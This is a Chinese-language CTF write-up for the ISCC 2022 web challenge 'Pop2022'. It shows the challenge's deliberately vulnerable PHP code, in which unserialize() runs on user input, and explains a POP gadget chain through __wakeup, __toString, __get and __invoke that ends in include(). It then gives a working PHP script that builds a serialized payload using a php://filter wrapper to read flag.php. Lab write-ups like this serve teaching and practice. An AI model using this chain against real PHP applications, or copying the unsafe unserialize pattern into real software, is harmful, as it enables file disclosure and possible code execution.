2022-ISCC-web-Pop2022-writeup
0x01 题目
0x02 解题思路
打开题目页面
完整代码
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
初步观察,代码通过get接受wish
参数,并调用unserialize($_GET['wish']);
,可以判断是php反序列化问题,解题方法应该是通过php反序列化读取flag.php
再根据题目pop和代码使用了多个魔术方法,需要构建pop链来完成读取flag
代码涉及到的php魔术方法:
__construct():在创建对象时调用此方法
__get():当读取不可访问或不存在的属性的值会被调用
__toString():在一个类被当作字符串处理时调用此方法
__invoke():当一个类被当作函数执行时调用此方法
__wakeup():当反序列化恢复成对象时调用此方法
确定pop链:
unserialize()
触发Road_is_Long
类的__wakeup()
方法
Road_is_Long
的__wakeup
函数调用preg_match
会触发$this->page
的__toString
方法
Road_is_Long
的string
参数赋值Make_a_Change
对象
这样$this->string->page
调用就会触发Make_a_Change
的__get
方法
Make_a_Change
的 effort
参数赋值Try_Work_Hard
的对象
Make_a_Change
的__get
方法将Make_a_Change
的 effort
参数作为函数调用
触发Try_Work_Hard
的__invoke
方法执行,调用append
,include($this->var)
使用php伪协议读取flag.php,构建代码
<?php
class Road_is_Long{
public $page;
public $string;
function _construct(){
$this->page=$file;
}
}
class Try_Work_Hard {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Make_a_Change{
public $p;
}
$a = new Road_is_Long();
$b = new Road_is_Long();
$c = new Make_a_Change();
$d = new Try_Work_Hard();
$a->page=$b;
$b->string=$c;
$c->effort= $d;
echo urlencode(serialize($a));
?>
运行得到payload,提交后,返回一串加密字符
base64解密得到flag